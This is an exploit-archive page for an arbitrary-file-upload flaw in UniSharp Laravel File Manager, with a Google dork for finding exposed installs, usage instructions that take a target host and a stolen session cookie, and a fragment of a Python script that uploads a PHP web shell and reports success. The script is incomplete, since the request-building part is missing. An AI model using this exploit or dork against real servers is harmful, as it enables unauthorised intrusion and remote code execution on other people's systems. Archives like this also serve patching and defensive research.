Exploits / Vulnerability Discovered : 2019-02-15 |
Type : webapps |
Platform : php
This exploit / vulnerability Unisharp laravel file manager 2.0.0alpha7 arbitrary file upload is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
### Exploit Title: UniSharp Laravel File Manager - Arbitrary File Upload
##
## Google Dork: inurl:"laravel-filemanager?type=Files" -site:github.com -site:github.io
## Exploit Author: Mohammad Danish
## Vendor Homepage: https://github.com/UniSharp/laravel-filemanager
## Software Link: https://github.com/UniSharp/laravel-filemanager
## Version: v2.0.0-alpha7 & v.2.0
##
## Exploit: UniSharp Laravel File Manager - Arbitrary File Upload
## Reference: https://github.com/UniSharp/laravel-filemanager/issues/356
##
##
## Issue Description:
## Larvel File Manager by UniSharp allows Arbitrary File Upload if type is set to Files /laravel-filemanager?type=Files
##
##*********************
##IMPORTANT READ
##*********************
## Code is not good written, as I just started learning python
##
##**********************
## [!!] USAGE: exploit.py <target-ip> <target-port> <laravel_session Cookie>
## [!!] USAGE: exploit.py 192.168.100.12 8080 eyJpdiI6IlplemdVaG9FSm9MaXJobEgrYlwvSkhnPT0iLCJ2YWx1ZSI6IkhrZ2R1O..........<YOUR SESSION ID HERE>
##-----------------------
##
s = socket.socket()
int_port = int(port)
s.connect((host,int_port))
## print req
s.send(req)
response = s.recv(1024)
magic = response[-10:]
if "OK" in magic:
print "[!] Your shell Uploaded successfully to directory /1/c0w.php"
else:
print "[!] Either the server is not vulnerable OR \r\n1) Check your laravel_session cookie \r\n2) Change working_dir in this exploit \r\n3) Check _token"
host = sys.argv[1]
port = sys.argv[2]
sessionId = sys.argv[3]
exploit(host,port,sessionId)